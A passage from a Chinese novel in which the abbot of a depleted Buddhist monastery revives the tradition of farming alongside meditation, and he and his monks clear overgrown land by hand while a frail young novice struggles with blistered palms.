他缓缓抬眼,望向殿外空寂的庭院,那根曾悬挂繁复锦幡如今光秃秃的旗杆直刺向铅灰色的天穹。
一种久违却沉重的使命,如同寒冬土地下蛰伏的生机,正在这巨大的寂灭之后,从方丈心中破土而出。
他转过沧桑肃穆的面容,声音不高,却带着决定重启山门的金石之音:“明觉、慧明,整顿常住人手。”
“从今日起,将库房内所有闲置土地与后山荒地,悉数清理备耕!”
“各堂口僧人,除必要值殿僧及灶下火工,余下常住每日轮值出坡!”
农禅并举,重归祖庭!
这不仅仅是回归生存的本源,更是对心性的一次彻底淘洗!
方丈的决定如同一声惊雷,在剩下的清净门人心中激起波澜。
首日破土,智远方丈脱去外面一层宽大庄重的明黄色金线袈裟,露出里面朴素的灰布短褂。
如同最平凡的老农,挽起双袖,露出一双筋骨分明甚至有些嶙峋的老手,握住了冰冷的锄头长柄。
枯瘦而满是皱纹的手指骨节因用力而发白,但动作却异常坚定有力。
慧明监院握着一柄沉重铁镐,手臂抡圆了砸向荒土中盘虬交错的粗壮树根!
沉闷的“笃!笃!”声在空山回响。
明觉监院则操持大锹,弯腰铲起翻开的泥土,额角青筋微突,汗水很快浸湿了他的前胸后背。
很快,更多的僧人汇聚而来。
这片曾是佛门清修香的灵秀之地,早已被荒烟蔓草吞噬多年,硬土里裹挟着风化的岩石碎片与纠结如网的荆棘老根。
锄头、镐头与坚硬大地的撞击声连绵不绝,像一场无声的冲锋。
年轻僧人的体力很快耗尽。
汗水如同小溪淌入眼睛,涩得生疼,粗布的短褂几乎被浸透成深褐色,紧贴在背上、胸前。
有人磨烂了掌心,薄薄一层皮被锄柄磨破,火辣辣地疼,鲜血混着泥土染红了木柄,却咬着牙不愿停下。
一个刚从佛学院分配来不久的小沙弥净心,身体瘦弱,掌心磨出几个透亮的水泡。
他一镐下去,虎口被震得发麻。
忍不住“嘶”地倒抽一口冷气。